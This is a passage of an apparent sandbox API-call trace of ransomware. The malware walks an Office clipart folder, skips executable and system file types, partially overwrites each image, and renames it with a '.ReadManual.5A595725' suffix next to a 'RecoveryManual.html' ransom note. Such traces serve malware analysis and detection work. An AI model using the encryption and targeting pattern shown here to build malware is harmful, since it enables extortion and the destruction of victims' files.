Office\\CLIPART\\PUB60COR\\J0324704.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.ReadManual.5A595725" [0269.610] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.ReadManual.5A595725") returned 87 [0269.610] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39027925178) returned 1 [0269.611] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf")) returned 0x20 [0269.611] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.611] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11902) returned 1 [0269.611] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7e, lpName=0x0) returned 0x184 [0269.611] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.612] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.612] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.614] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.614] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e7e) returned 0x2f0000 [0269.614] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39028314710) returned 1 [0269.614] CloseHandle (hObject=0x184) returned 1 [0269.614] SetSecurityInfo () returned 0x57 [0269.615] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.615] CloseHandle (hObject=0x194) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0269.615] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0337280.JPG" | out: lpString1="J0337280.JPG") returned="J0337280.JPG" [0269.615] lstrcmpiW (lpString1="J0337280.JPG", lpString2="RecoveryManual.html") returned -1 [0269.615] StrStrIW (lpFirst="J0337280.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.615] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.615] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.615] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.615] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" [0269.615] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ReadManual.5A595725" [0269.615] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ReadManual.5A595725") returned 87 [0269.615] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39028409401) returned 1 [0269.615] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg")) returned 0x20 [0269.616] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.616] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12896) returned 1 [0269.616] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3260, lpName=0x0) returned 0x184 [0269.616] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.617] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.617] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.621] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.621] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3260) returned 0x2f0000 [0269.622] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.622] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39029046881) returned 1 [0269.622] CloseHandle (hObject=0x184) returned 1 [0269.622] SetSecurityInfo () returned 0x57 [0269.622] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.622] CloseHandle (hObject=0x194) returned 1 [0269.622] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0269.622] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341328.JPG" | out: lpString1="J0341328.JPG") returned="J0341328.JPG" [0269.622] lstrcmpiW (lpString1="J0341328.JPG", lpString2="RecoveryManual.html") returned -1 [0269.622] StrStrIW (lpFirst="J0341328.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.622] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.622] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.622] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.623] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.623] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" [0269.623] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ReadManual.5A595725" [0269.623] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ReadManual.5A595725") returned 87 [0269.623] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39029143396) returned 1 [0269.623] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg")) returned 0x20 [0269.624] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.624] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10196) returned 1 [0269.624] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27d4, lpName=0x0) returned 0x184 [0269.624] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.625] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.627] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27d4) returned 0x2f0000 [0269.627] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39029589871) returned 1 [0269.627] CloseHandle (hObject=0x184) returned 1 [0269.627] SetSecurityInfo () returned 0x57 [0269.627] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.627] CloseHandle (hObject=0x194) returned 1 [0269.627] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0269.628] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341344.JPG" | out: lpString1="J0341344.JPG") returned="J0341344.JPG" [0269.628] lstrcmpiW (lpString1="J0341344.JPG", lpString2="RecoveryManual.html") returned -1 [0269.628] StrStrIW (lpFirst="J0341344.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.628] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.628] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.628] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.628] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.628] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.628] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.628] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.629] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.629] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.629] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" [0269.629] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ReadManual.5A595725" [0269.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ReadManual.5A595725") returned 87 [0269.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39029745755) returned 1 [0269.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg")) returned 0x20 [0269.630] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.630] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11485) returned 1 [0269.630] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cdd, lpName=0x0) returned 0x184 [0269.630] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.631] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.631] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.633] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.633] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cdd) returned 0x2f0000 [0269.633] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39030196858) returned 1 [0269.633] CloseHandle (hObject=0x184) returned 1 [0269.633] SetSecurityInfo () returned 0x57 [0269.633] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.633] CloseHandle (hObject=0x194) returned 1 [0269.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0269.634] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341439.JPG" | out: lpString1="J0341439.JPG") returned="J0341439.JPG" [0269.634] lstrcmpiW (lpString1="J0341439.JPG", lpString2="RecoveryManual.html") returned -1 [0269.634] StrStrIW (lpFirst="J0341439.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.634] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.634] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.634] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.634] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" [0269.634] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ReadManual.5A595725" [0269.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ReadManual.5A595725") returned 87 [0269.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39030291197) returned 1 [0269.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg")) returned 0x20 [0269.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.635] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19565) returned 1 [0269.635] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c6d, lpName=0x0) returned 0x184 [0269.635] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.636] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.636] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.638] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.638] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c6d) returned 0x2f0000 [0269.638] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39030715363) returned 1 [0269.638] CloseHandle (hObject=0x184) returned 1 [0269.638] SetSecurityInfo () returned 0x57 [0269.639] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.639] CloseHandle (hObject=0x194) returned 1 [0269.639] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ad8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341447.JPG", cAlternateFileName="")) returned 1 [0269.639] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341447.JPG" | out: lpString1="J0341447.JPG") returned="J0341447.JPG" [0269.639] lstrcmpiW (lpString1="J0341447.JPG", lpString2="RecoveryManual.html") returned -1 [0269.639] StrStrIW (lpFirst="J0341447.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.639] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.639] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.639] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.639] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" [0269.639] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ReadManual.5A595725" [0269.639] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.ReadManual.5A595725") returned 87 [0269.639] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39030810775) returned 1 [0269.639] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg")) returned 0x20 [0269.640] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.640] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19160) returned 1 [0269.640] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ad8, lpName=0x0) returned 0x184 [0269.640] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.641] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.641] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, 